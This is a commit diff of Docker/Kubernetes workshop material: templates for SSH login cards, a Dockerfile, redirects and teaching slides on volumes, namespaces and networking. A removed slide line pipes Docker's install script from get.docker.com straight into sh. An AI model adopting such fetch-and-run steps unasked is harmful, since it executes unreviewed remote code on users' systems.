{%- endif -%}
{%- if lang == "fr" -%}
{%- set slides_are_at -%}
Le support de formation est à l'adresse suivante :
{%- endset -%}
{%- set url = "http://container.training/" -%}
{%- set pagesize = 12 -%}
{%- if clustersize == 1 -%}
{%- set workshop_name = "Docker workshop" -%}
{%- set cluster_or_machine = "machine" -%}
{%- set this_or_each = "this" -%}
{%- set machine_is_or_machines_are = "machine is" -%}
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
{%- else -%}
{%- set workshop_name = "orchestration workshop" -%}
{%- set cluster_or_machine = "cluster" -%}
{%- set this_or_each = "each" -%}
{%- set machine_is_or_machines_are = "machines are" -%}
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
{%- set image_src = image_src_swarm -%}
{%- endif -%}
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head><style>
@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
body, table {
margin: 0;
padding: 0;
line-height: 1em;
font-size: 15px;
font-family: 'Slabo 27px';
font-size: 14px;
}
table {
@@ -96,54 +37,24 @@ table {
div {
float: left;
border: 1px dotted black;
{% if backside %}
height: 31%;
{% endif %}
padding-top: 1%;
padding-bottom: 1%;
/* columns * (width+left+right) < 100% */
/*
width: 21.5%;
padding-left: 1.5%;
padding-right: 1.5%;
*/
/**/
width: 30%;
padding-left: 1.5%;
padding-right: 1.5%;
/**/
}
p {
margin: 0.4em 0 0.4em 0;
}
div.back {
border: 1px dotted white;
}
div.back p {
margin: 0.5em 1em 0 1em;
}
img {
height: 4em;
float: right;
margin-right: -0.2em;
margin-right: -0.4em;
}
/*
img.enix {
height: 4.0em;
margin-top: 0.4em;
}
img.kube {
height: 4.2em;
margin-top: 1.7em;
}
*/
.logpass {
font-family: monospace;
font-weight: bold;
@@ -158,15 +69,19 @@ img.kube {
</style></head>
<body>
{% for cluster in clusters %}
{% if loop.index0>0 and loop.index0%pagesize==0 %}
<span class="pagebreak"></span>
{% endif %}
<div>
<p>{{ intro }}</p>
<p>
Here is the connection information to your very own
{{ cluster_or_machine }} for this {{ workshop_name }}.
You can connect to {{ this_or_each }} VM with any SSH client.
</p>
<p>
<img src="{{ image_src }}" />
<table>
{% if clusternumber != None %}
<tr><td>cluster:</td></tr>
<tr><td class="logpass">{{ clusternumber + loop.index }}</td></tr>
{% endif %}
<tr><td>login:</td></tr>
<tr><td class="logpass">docker</td></tr>
<tr><td>password:</td></tr>
@@ -175,44 +90,17 @@ img.kube {
</p>
<p>
{{ listhead }}
Your {{ machine_is_or_machines_are }}:
<table>
{% for node in cluster %}
<tr>
<td>{{ clusterprefix }}{{ loop.index }}:</td>
<td>{{ node }}</td>
</tr>
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
{% endfor %}
</table>
</p>
<p>
{{ slides_are_at }}
<p>You can find the slides at:
<center>{{ url }}</center>
</p>
</div>
{% if loop.index%pagesize==0 or loop.last %}
<span class="pagebreak"></span>
{% if backside %}
{% for x in range(pagesize) %}
<div class="back">
<br/>
<p>You got this at the workshop
"Getting Started With Kubernetes and Container Orchestration"
during QCON London (March 2019).</p>
<p>If you liked that workshop,
I can train your team or organization
on Docker, container, and Kubernetes,
with curriculums of 1 to 5 days.
</p>
<p>Interested? Contact me at:</p>
<p>jerome.petazzoni@gmail.com</p>
<p>Thank you!</p>
</div>
{% endfor %}
<span class="pagebreak"></span>
{% endif %}
{% endif %}
{% endfor %}
</body>
</html>

View File

@@ -0,0 +1,121 @@
{# Feel free to customize or override anything in there! #}
{%- set url = "http://FIXME.container.training" -%}
{%- set pagesize = 9 -%}
{%- if clustersize == 1 -%}
{%- set workshop_name = "Docker workshop" -%}
{%- set cluster_or_machine = "machine virtuelle" -%}
{%- set this_or_each = "cette" -%}
{%- set plural = "" -%}
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
{%- else -%}
{%- set workshop_name = "Kubernetes workshop" -%}
{%- set cluster_or_machine = "cluster" -%}
{%- set this_or_each = "chaque" -%}
{%- set plural = "s" -%}
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
{%- set image_src = image_src_kube -%}
{%- endif -%}
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head><style>
@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
body, table {
margin: 0;
padding: 0;
line-height: 1em;
font-size: 15px;
font-family: 'Slabo 27px';
}
table {
border-spacing: 0;
margin-top: 0.4em;
margin-bottom: 0.4em;
border-left: 0.8em double grey;
padding-left: 0.4em;
}
div {
float: left;
border: 1px dotted black;
padding-top: 1%;
padding-bottom: 1%;
/* columns * (width+left+right) < 100% */
width: 30%;
padding-left: 1.5%;
padding-right: 1.5%;
}
p {
margin: 0.4em 0 0.4em 0;
}
img {
height: 4em;
float: right;
margin-right: -0.3em;
}
img.enix {
height: 4.0em;
margin-top: 0.4em;
}
img.kube {
height: 4.2em;
margin-top: 1.7em;
}
.logpass {
font-family: monospace;
font-weight: bold;
}
.pagebreak {
page-break-after: always;
clear: both;
display: block;
height: 8px;
}
</style></head>
<body>
{% for cluster in clusters %}
{% if loop.index0>0 and loop.index0%pagesize==0 %}
<span class="pagebreak"></span>
{% endif %}
<div>
<p>
Voici les informations permettant de se connecter à votre
{{ cluster_or_machine }} pour cette formation.
Vous pouvez vous connecter à {{ this_or_each }} machine virtuelle
avec n'importe quel client SSH.
</p>
<p>
<img class="enix" src="https://enix.io/static/img/logos/logo-domain-cropped.png" />
<table>
<tr><td>identifiant:</td></tr>
<tr><td class="logpass">docker</td></tr>
<tr><td>mot de passe:</td></tr>
<tr><td class="logpass">{{ docker_user_password }}</td></tr>
</table>
</p>
<p>
Adresse{{ plural }} IP :
<!--<img class="kube" src="{{ image_src }}" />-->
<table>
{% for node in cluster %}
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
{% endfor %}
</table>
</p>
<p>Le support de formation est à l'adresse suivante :
<center>{{ url }}</center>
</p>
</div>
{% endfor %}
</body>
</html>

View File

@@ -0,0 +1,134 @@
{# Feel free to customize or override anything in there! #}
{%- set url = "http://qconuk2019.container.training/" -%}
{%- set pagesize = 9 -%}
{%- if clustersize == 1 -%}
{%- set workshop_name = "Docker workshop" -%}
{%- set cluster_or_machine = "machine" -%}
{%- set this_or_each = "this" -%}
{%- set machine_is_or_machines_are = "machine is" -%}
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
{%- else -%}
{%- set workshop_name = "Kubernetes workshop" -%}
{%- set cluster_or_machine = "cluster" -%}
{%- set this_or_each = "each" -%}
{%- set machine_is_or_machines_are = "machines are" -%}
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
{%- set image_src = image_src_kube -%}
{%- endif -%}
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head><style>
@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
body, table {
margin: 0;
padding: 0;
line-height: 1.0em;
font-size: 15px;
font-family: 'Slabo 27px';
}
table {
border-spacing: 0;
margin-top: 0.4em;
margin-bottom: 0.4em;
border-left: 0.8em double grey;
padding-left: 0.4em;
}
div {
float: left;
border: 1px dotted black;
height: 31%;
padding-top: 1%;
padding-bottom: 1%;
/* columns * (width+left+right) < 100% */
width: 30%;
padding-left: 1.5%;
padding-right: 1.5%;
}
div.back {
border: 1px dotted white;
}
div.back p {
margin: 0.5em 1em 0 1em;
}
p {
margin: 0.4em 0 0.8em 0;
}
img {
height: 5em;
float: right;
margin-right: 1em;
}
.logpass {
font-family: monospace;
font-weight: bold;
}
.pagebreak {
page-break-after: always;
clear: both;
display: block;
height: 8px;
}
</style></head>
<body>
{% for cluster in clusters %}
<div>
<p>
Here is the connection information to your very own
{{ cluster_or_machine }} for this {{ workshop_name }}.
You can connect to {{ this_or_each }} VM with any SSH client.
</p>
<p>
<img src="{{ image_src }}" />
<table>
<tr><td>login:</td></tr>
<tr><td class="logpass">docker</td></tr>
<tr><td>password:</td></tr>
<tr><td class="logpass">{{ docker_user_password }}</td></tr>
</table>
</p>
<p>
Your {{ machine_is_or_machines_are }}:
<table>
{% for node in cluster %}
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
{% endfor %}
</table>
</p>
<p>You can find the slides at:
<center>{{ url }}</center>
</p>
</div>
{% if loop.index%pagesize==0 or loop.last %}
<span class="pagebreak"></span>
{% for x in range(pagesize) %}
<div class="back">
<br/>
<p>You got this at the workshop
"Getting Started With Kubernetes and Container Orchestration"
during QCON London (March 2019).</p>
<p>If you liked that workshop,
I can train your team or organization
on Docker, container, and Kubernetes,
with curriculums of 1 to 5 days.
</p>
<p>Interested? Contact me at:</p>
<p>jerome.petazzoni@gmail.com</p>
<p>Thank you!</p>
</div>
{% endfor %}
<span class="pagebreak"></span>
{% endif %}
{% endfor %}
</body>
</html>

View File

@@ -0,0 +1,106 @@
{# Feel free to customize or override anything in there! #}
{%- set url = "http://container.training/" -%}
{%- set pagesize = 12 -%}
{%- if clustersize == 1 -%}
{%- set workshop_name = "Docker workshop" -%}
{%- set cluster_or_machine = "machine" -%}
{%- set this_or_each = "this" -%}
{%- set machine_is_or_machines_are = "machine is" -%}
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
{%- else -%}
{%- set workshop_name = "Kubernetes workshop" -%}
{%- set cluster_or_machine = "cluster" -%}
{%- set this_or_each = "each" -%}
{%- set machine_is_or_machines_are = "machines are" -%}
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
{%- set image_src = image_src_kube -%}
{%- endif -%}
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head><style>
body, table {
margin: 0;
padding: 0;
line-height: 1em;
font-size: 14px;
}
table {
border-spacing: 0;
margin-top: 0.4em;
margin-bottom: 0.4em;
border-left: 0.8em double grey;
padding-left: 0.4em;
}
div {
float: left;
border: 1px dotted black;
padding-top: 1%;
padding-bottom: 1%;
/* columns * (width+left+right) < 100% */
width: 21.5%;
padding-left: 1.5%;
padding-right: 1.5%;
}
p {
margin: 0.4em 0 0.4em 0;
}
img {
height: 4em;
float: right;
margin-right: -0.4em;
}
.logpass {
font-family: monospace;
font-weight: bold;
}
.pagebreak {
page-break-after: always;
clear: both;
display: block;
height: 8px;
}
</style></head>
<body>
{% for cluster in clusters %}
{% if loop.index0>0 and loop.index0%pagesize==0 %}
<span class="pagebreak"></span>
{% endif %}
<div>
<p>
Here is the connection information to your very own
{{ cluster_or_machine }} for this {{ workshop_name }}.
You can connect to {{ this_or_each }} VM with any SSH client.
</p>
<p>
<img src="{{ image_src }}" />
<table>
<tr><td>login:</td></tr>
<tr><td class="logpass">docker</td></tr>
<tr><td>password:</td></tr>
<tr><td class="logpass">{{ docker_user_password }}</td></tr>
</table>
</p>
<p>
Your {{ machine_is_or_machines_are }}:
<table>
{% for node in cluster %}
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
{% endfor %}
</table>
</p>
<p>You can find the slides at:
<center>{{ url }}</center>
</p>
</div>
{% endfor %}
</body>
</html>

View File

@@ -1,4 +0,0 @@
This directory will contain symlinks to HTML and PDF files for the cards
with the IP address, login, and password for the training environments.
The file "index.html" is empty on purpose: it prevents listing the files.

View File

@@ -1,4 +1,7 @@
FROM alpine:3.9
RUN apk add --no-cache entr py-pip git
FROM alpine
RUN apk update
RUN apk add entr
RUN apk add py-pip
RUN apk add git
COPY requirements.txt .
RUN pip install -r requirements.txt

View File

@@ -1,7 +1,5 @@
# Uncomment and/or edit one of the the following lines if necessary.
#/ /kube-halfday.yml.html 200
/ /intro-fullday.yml.html 200!
#/ /kube-fullday.yml.html 200
#/ /kube-twodays.yml.html 200
# And this allows to do "git clone https://container.training".
/info/refs service=git-upload-pack https://github.com/jpetazzo/container.training/info/refs?service=git-upload-pack
/ /intro-fullday.yml.html 200!

View File

@@ -150,7 +150,7 @@ Different deployments will use different underlying technologies.
* Ad-hoc deployments can use a master-less discovery protocol
like avahi to register and discover services.
* It is also possible to do one-shot reconfiguration of the
ambassadors. It is slightly less dynamic but has far fewer
ambassadors. It is slightly less dynamic but has much less
requirements.
* Ambassadors can be used in addition to, or instead of, overlay networks.
@@ -186,48 +186,22 @@ Different deployments will use different underlying technologies.
---
## Some popular service meshes
## Section summary
... And related projects:
We've learned how to:
* [Consul Connect](https://www.consul.io/docs/connect/index.html)
<br/>
Transparently secures service-to-service connections with mTLS.
* Understand the ambassador pattern and what it is used for (service portability).
* [Gloo](https://gloo.solo.io/)
<br/>
API gateway that can interconnect applications on VMs, containers, and serverless.
For more information about the ambassador pattern, including demos on Swarm and ECS:
* AWS re:invent 2015 [DVO317](https://www.youtube.com/watch?v=7CZFpHUPqXw)
* [SwarmWeek video about Swarm+Compose](https://youtube.com/watch?v=qbIvUvwa6As)
Some services meshes and related projects:
* [Istio](https://istio.io/)
<br/>
A popular service mesh.
* [Linkerd](https://linkerd.io/)
<br/>
Another popular service mesh.
---
## Learning more about service meshes
A few blog posts about service meshes:
* [Containers, microservices, and service meshes](http://jpetazzo.github.io/2019/05/17/containers-microservices-service-meshes/)
<br/>
Provides historical context: how did we do before service meshes were invented?
* [Do I Need a Service Mesh?](https://www.nginx.com/blog/do-i-need-a-service-mesh/)
<br/>
Explains the purpose of service meshes. Illustrates some NGINX features.
* [Do you need a service mesh?](https://www.oreilly.com/ideas/do-you-need-a-service-mesh)
<br/>
Includes high-level overview and definitions.
* [What is Service Mesh and Why Do We Need It?](https://containerjournal.com/2018/12/12/what-is-service-mesh-and-why-do-we-need-it/)
<br/>
Includes a step-by-step demo of Linkerd.
And a video:
* [What is a Service Mesh, and Do I Need One When Developing Microservices?](https://www.datawire.io/envoyproxy/service-mesh/)
* [Gloo](https://gloo.solo.io/)

View File

@@ -98,13 +98,13 @@ COPY prometheus.conf /etc
* Allows arbitrary customization and complex configuration files.
* Requires writing a configuration file. (Obviously!)
* Requires to write a configuration file. (Obviously!)
* Requires building an image to start the service.
* Requires to build an image to start the service.
* Requires rebuilding the image to reconfigure the service.
* Requires to rebuild the image to reconfigure the service.
* Requires rebuilding the image to upgrade the service.
* Requires to rebuild the image to upgrade the service.
* Configured images can be stored in registries.
@@ -132,11 +132,11 @@ docker run -v appconfig:/etc/appconfig myapp
* Allows arbitrary customization and complex configuration files.
* Requires creating a volume for each different configuration.
* Requires to create a volume for each different configuration.
* Services with identical configurations can use the same volume.
* Doesn't require building / rebuilding an image when upgrading / reconfiguring.
* Doesn't require to build / rebuild an image when upgrading / reconfiguring.
* Configuration can be generated or edited through another container.
@@ -198,4 +198,4 @@ E.g.:
- read the secret on stdin when the service starts,
- pass the secret using an API endpoint.
- pass the secret using an API endpoint.

View File

@@ -257,7 +257,7 @@ $ docker kill 068 57ad
The `stop` and `kill` commands can take multiple container IDs.
Those containers will be terminated immediately (without
the 10-second delay).
the 10 seconds delay).
Let's check that our containers don't show up anymore:

View File

@@ -222,16 +222,16 @@ CMD ["hello world"]
Let's build it:
```bash
$ docker build -t myfiglet .
$ docker build -t figlet .
...
Successfully built 6e0b6a048a07
Successfully tagged myfiglet:latest
Successfully tagged figlet:latest
```
Run it without parameters:
```bash
$ docker run myfiglet
$ docker run figlet
_ _ _ _
| | | | | | | | |
| | _ | | | | __ __ ,_ | | __|
@@ -246,7 +246,7 @@ $ docker run myfiglet
Now let's pass extra arguments to the image.
```bash
$ docker run myfiglet hola mundo
$ docker run figlet hola mundo
_ _
| | | | |
| | __ | | __, _ _ _ _ _ __| __
@@ -262,13 +262,13 @@ We overrode `CMD` but still used `ENTRYPOINT`.
What if we want to run a shell in our container?
We cannot just do `docker run myfiglet bash` because
We cannot just do `docker run figlet bash` because
that would just tell figlet to display the word "bash."
We use the `--entrypoint` parameter:
```bash
$ docker run -it --entrypoint bash myfiglet
$ docker run -it --entrypoint bash figlet
root@6027e44e2955:/#
```

View File

@@ -86,7 +86,7 @@ like Windows, macOS, Solaris, FreeBSD ...
* No notion of image (container filesystems have to be managed manually).
* Networking has to be set up manually.
* Networking has to be setup manually.
---
@@ -112,7 +112,7 @@ like Windows, macOS, Solaris, FreeBSD ...
* Strong emphasis on security (through privilege separation).
* Networking has to be set up separately (e.g. through CNI plugins).
* Networking has to be setup separately (e.g. through CNI plugins).
* Partial image management (pull, but no push).
@@ -152,7 +152,7 @@ We're not aware of anyone using it directly (i.e. outside of Kubernetes).
* Basic image support (tar archives and raw disk images).
* Network has to be set up manually.
* Network has to be setup manually.
---
@@ -164,7 +164,7 @@ We're not aware of anyone using it directly (i.e. outside of Kubernetes).
* Run each container in a lightweight virtual machine.
* Requires running on bare metal *or* with nested virtualization.
* Requires to run on bare metal *or* with nested virtualization.
---

View File

@@ -474,7 +474,7 @@ When creating a network, extra options can be provided.
* `--ip-range` (in CIDR notation) indicates the subnet to allocate from.
* `--aux-address` allows specifying a list of reserved addresses (which won't be allocated to containers).
* `--aux-address` allows to specify a list of reserved addresses (which won't be allocated to containers).
---
@@ -528,9 +528,7 @@ Very short instructions:
- `docker network create mynet --driver overlay`
- `docker service create --network mynet myimage`
If you want to learn more about Swarm mode, you can check
[this video](https://www.youtube.com/watch?v=EuzoEaE6Cqs)
or [these slides](https://container.training/swarm-selfpaced.yml.html).
See https://jpetazzo.github.io/container.training for all the deets about clustering!
---
@@ -556,7 +554,7 @@ General idea:
* So far, we have specified which network to use when starting the container.
* The Docker Engine also allows connecting and disconnecting while the container is running.
* The Docker Engine also allows to connect and disconnect while the container runs.
* This feature is exposed through the Docker API, and through two Docker CLI commands:

View File

@@ -76,78 +76,6 @@ CMD ["python", "app.py"]
---
## Be careful with `chown`, `chmod`, `mv`
* Layers cannot store efficiently changes in permissions or ownership.
* Layers cannot represent efficiently when a file is moved either.
* As a result, operations like `chown`, `chown`, `mv` can be expensive.
* For instance, in the Dockerfile snippet below, each `RUN` line
creates a layer with an entire copy of `some-file`.
```dockerfile
COPY some-file .
RUN chown www-data:www-data some-file
RUN chmod 644 some-file
RUN mv some-file /var/www
```
* How can we avoid that?
---
## Put files on the right place
* Instead of using `mv`, directly put files at the right place.
* When extracting archives (tar, zip...), merge operations in a single layer.
Example:
```dockerfile
...
RUN wget http://.../foo.tar.gz \
&& tar -zxf foo.tar.gz \
&& mv foo/fooctl /usr/local/bin \
&& rm -rf foo
...
```
---
## Use `COPY --chown`
* The Dockerfile instruction `COPY` can take a `--chown` parameter.
Examples:
```dockerfile
...
COPY --chown=1000 some-file .
COPY --chown=1000:1000 some-file .
COPY --chown=www-data:www-data some-file .
```
* The `--chown` flag can specify a user, or a user:group pair.
* The user and group can be specified as names or numbers.
* When using names, the names must exist in `/etc/passwd` or `/etc/group`.
*(In the container, not on the host!)*
---
## Set correct permissions locally
* Instead of using `chmod`, set the right file permissions locally.
* When files are copied with `COPY`, permissions are preserved.
---
## Embedding unit tests in the build process
```dockerfile

View File

@@ -1,5 +0,0 @@
# Exercise — writing a Compose file
Let's write a Compose file for the wordsmith app!
The code is at: https://github.com/jpetazzo/wordsmith

View File

@@ -1,9 +0,0 @@
# Exercise — writing better Dockerfiles
Let's update our Dockerfiles to leverage multi-stage builds!
The code is at: https://github.com/jpetazzo/wordsmith
Use a different tag for these images, so that we can compare their sizes.
What's the size difference between single-stage and multi-stage builds?

View File

@@ -1,5 +0,0 @@
# Exercise — writing Dockerfiles
Let's write Dockerfiles for an existing application!
The code is at: https://github.com/jpetazzo/wordsmith

View File

@@ -203,90 +203,4 @@ bash: figlet: command not found
* The basic Ubuntu image was used, and `figlet` is not here.
---
## Where's my container?
* Can we reuse that container that we took time to customize?
*We can, but that's not the default workflow with Docker.*
* What's the default workflow, then?
*Always start with a fresh container.*
<br/>
*If we need something installed in our container, build a custom image.*
* That seems complicated!
*We'll see that it's actually pretty easy!*
* And what's the point?
*This puts a strong emphasis on automation and repeatability. Let's see why ...*
---
## Pets vs. Cattle
* In the "pets vs. cattle" metaphor, there are two kinds of servers.
* Pets:
* have distinctive names and unique configurations
* when they have an outage, we do everything we can to fix them
* Cattle:
* have generic names (e.g. with numbers) and generic configuration
* configuration is enforced by configuration management, golden images ...
* when they have an outage, we can replace them immediately with a new server
* What's the connection with Docker and containers?
---
## Local development environments
* When we use local VMs (with e.g. VirtualBox or VMware), our workflow looks like this:
* create VM from base template (Ubuntu, CentOS...)
* install packages, set up environment
* work on project
* when done, shut down VM
* next time we need to work on project, restart VM as we left it
* if we need to tweak the environment, we do it live
* Over time, the VM configuration evolves, diverges.
* We don't have a clean, reliable, deterministic way to provision that environment.
---
## Local development with Docker
* With Docker, the workflow looks like this:
* create container image with our dev environment
* run container with that image
* work on project
* when done, shut down container
* next time we need to work on project, start a new container
* if we need to tweak the environment, we create a new image
* We have a clear definition of our environment, and can share it reliably with others.
* Let's see in the next chapters how to bake a custom image with `figlet`!
* We will see in the next chapters how to bake a custom image with `figlet`.

View File

@@ -70,9 +70,8 @@ class: pic
* An image is a read-only filesystem.
* A container is an encapsulated set of processes,
running in a read-write copy of that filesystem.
* A container is an encapsulated set of processes running in a
read-write copy of that filesystem.
* To optimize container boot time, *copy-on-write* is used
instead of regular copy.
@@ -178,11 +177,8 @@ Let's explain each of them.
## Root namespace
The root namespace is for official images.
They are gated by Docker Inc.
They are generally authored and maintained by third parties.
The root namespace is for official images. They are put there by Docker Inc.,
but they are generally authored and maintained by third parties.
Those images include:
@@ -192,7 +188,7 @@ Those images include:
* Ready-to-use components and services, like redis, postgresql...
* Over 150 at this point!
* Over 130 at this point!
---

View File

@@ -38,7 +38,11 @@ We can arbitrarily distinguish:
## Installing Docker on Linux
* The recommended method is to install the packages supplied by Docker Inc :
* The recommended method is to install the packages supplied by Docker Inc.:
https://store.docker.com
* The general method is:
- add Docker Inc.'s package repositories to your system configuration
@@ -52,12 +56,6 @@ We can arbitrarily distinguish:
https://docs.docker.com/engine/installation/linux/docker-ce/binaries/
* To quickly setup a dev environment, Docker provides a convenience install script:
```bash
curl -fsSL get.docker.com | sh
```
---
class: extra-details

View File

@@ -156,7 +156,7 @@ Option 3:
* Use a *volume* to mount local files into the container
* Make changes locally
* Changes are reflected in the container
* Changes are reflected into the container
---
@@ -176,7 +176,7 @@ $ docker run -d -v $(pwd):/src -P namer
* `namer` is the name of the image we will run.
* We don't specify a command to run because it is already set in the Dockerfile via `CMD`.
* We don't specify a command to run because it is already set in the Dockerfile.
Note: on Windows, replace `$(pwd)` with `%cd%` (or `${pwd}` if you use PowerShell).
@@ -192,7 +192,7 @@ The flag structure is:
[host-path]:[container-path]:[rw|ro]
```
* `[host-path]` and `[container-path]` are created if they don't exist.
* If `[host-path]` or `[container-path]` doesn't exist it is created.
* You can control the write status of the volume with the `ro` and
`rw` options.
@@ -255,13 +255,13 @@ color: red;
* Volumes are *not* copying or synchronizing files between the host and the container.
* Volumes are *bind mounts*: a kernel mechanism associating one path with another.
* Volumes are *bind mounts*: a kernel mechanism associating a path to another.
* Bind mounts are *kind of* similar to symbolic links, but at a very different level.
* Changes made on the host or on the container will be visible on the other side.
(Under the hood, it's the same file anyway.)
(Since under the hood, it's the same file on both anyway.)
---
@@ -273,7 +273,7 @@ by Chad Fowler, where he explains the concept of immutable infrastructure.)*
--
* Let's majorly mess up our container.
* Let's mess up majorly with our container.
(Remove files or whatever.)
@@ -319,7 +319,7 @@ and *canary deployments*.
<br/>
Use the `-v` flag to mount our source code inside the container.
3. Edit the source code outside the container, using familiar tools.
3. Edit the source code outside the containers, using regular tools.
<br/>
(vim, emacs, textmate...)

View File

@@ -86,13 +86,13 @@ class: extra-details, deep-dive
- the `unshare()` system call.
- The Linux tool `unshare` allows doing that from a shell.
- The Linux tool `unshare` allows to do that from a shell.
- A new process can re-use none / all / some of the namespaces of its parent.
- It is possible to "enter" a namespace with the `setns()` system call.
- The Linux tool `nsenter` allows doing that from a shell.
- The Linux tool `nsenter` allows to do that from a shell.
---
@@ -138,11 +138,11 @@ class: extra-details, deep-dive
- gethostname / sethostname
- Allows setting a custom hostname for a container.
- Allows to set a custom hostname for a container.
- That's (mostly) it!
- Also allows setting the NIS domain.
- Also allows to set the NIS domain.
(If you don't know what a NIS domain is, you don't have to worry about it!)
@@ -392,13 +392,13 @@ class: extra-details
- Processes can have their own root fs (à la chroot).
- Processes can also have "private" mounts. This allows:
- Processes can also have "private" mounts. This allows to:
- isolating `/tmp` (per user, per service...)
- isolate `/tmp` (per user, per service...)
- masking `/proc`, `/sys` (for processes that don't need them)
- mask `/proc`, `/sys` (for processes that don't need them)
- mounting remote filesystems or sensitive data,
- mount remote filesystems or sensitive data,
<br/>but make it visible only for allowed processes
- Mounts can be totally private, or shared.
@@ -570,7 +570,7 @@ Check `man 2 unshare` and `man pid_namespaces` if you want more details.
## User namespace
- Allows mapping UID/GID; e.g.:
- Allows to map UID/GID; e.g.:
- UID 0→1999 in container C1 is mapped to UID 10000→11999 on host
- UID 0→1999 in container C2 is mapped to UID 12000→13999 on host
@@ -947,7 +947,7 @@ Killed
(i.e., "this group of process used X seconds of CPU0 and Y seconds of CPU1".)
- Allows setting relative weights used by the scheduler.
- Allows to set relative weights used by the scheduler.
---
@@ -1101,9 +1101,9 @@ See `man capabilities` for the full list and details.
- Original seccomp only allows `read()`, `write()`, `exit()`, `sigreturn()`.
- The seccomp-bpf extension allows specifying custom filters with BPF rules.
- The seccomp-bpf extension allows to specify custom filters with BPF rules.
- This allows filtering by syscall, and by parameter.
- This allows to filter by syscall, and by parameter.
- BPF code can perform arbitrarily complex checks, quickly, and safely.

View File

@@ -6,6 +6,8 @@ In this chapter, we will:
* Present (from a high-level perspective) some orchestrators.
* Show one orchestrator (Kubernetes) in action.
---
class: pic
@@ -119,7 +121,7 @@ Now, how are things for our IAAS provider?
- Solution: *migrate* VMs and shutdown empty servers
(e.g. combine two hypervisors with 40% load into 80%+0%,
<br/>and shut down the one at 0%)
<br/>and shutdown the one at 0%)
---
@@ -127,7 +129,7 @@ Now, how are things for our IAAS provider?
How do we implement this?
- Shut down empty hosts (but keep some spare capacity)
- Shutdown empty hosts (but keep some spare capacity)
- Start hosts again when capacity gets low
@@ -175,7 +177,7 @@ In practice, these goals often conflict.
- 16 GB RAM, 8 cores, 1 TB disk
- Each week, your team requests:
- Each week, your team asks:
- one VM with X RAM, Y CPU, Z disk

View File

@@ -72,7 +72,7 @@
- For memory usage, the mechanism is part of the *cgroup* subsystem.
- This subsystem allows limiting the memory for a process or a group of processes.
- This subsystem allows to limit the memory for a process or a group of processes.
- A container engine leverages these mechanisms to limit memory for a container.

View File

@@ -45,13 +45,13 @@ individual Docker VM.*
- The Docker Engine is a daemon (a service running in the background).
- This daemon manages containers, the same way that a hypervisor manages VMs.
- This daemon manages containers, the same way that an hypervisor manages VMs.
- We interact with the Docker Engine by using the Docker CLI.
- The Docker CLI and the Docker Engine communicate through an API.
- There are many other programs and client libraries which use that API.
- There are many other programs, and many client libraries, to use that API.
---

View File

@@ -33,13 +33,13 @@ Docker volumes can be used to achieve many things, including:
* Sharing a *single file* between the host and a container.
* Using remote storage and custom storage with *volume drivers*.
* Using remote storage and custom storage with "volume drivers".
---
## Volumes are special directories in a container
Volumes can be declared in two different ways:
Volumes can be declared in two different ways.
* Within a `Dockerfile`, with a `VOLUME` instruction.
@@ -163,7 +163,7 @@ Volumes are not anchored to a specific path.
* Volumes are used with the `-v` option.
* When a host path does not contain a `/`, it is considered a volume name.
* When a host path does not contain a /, it is considered to be a volume name.
Let's start a web server using the two previous volumes.
@@ -189,7 +189,7 @@ $ curl localhost:1234
* In this example, we will run a text editor in the other container.
(But this could be an FTP server, a WebDAV server, a Git receiver...)
(But this could be a FTP server, a WebDAV server, a Git receiver...)
Let's start another container using the `webapps` volume.

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 81 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 84 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 83 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

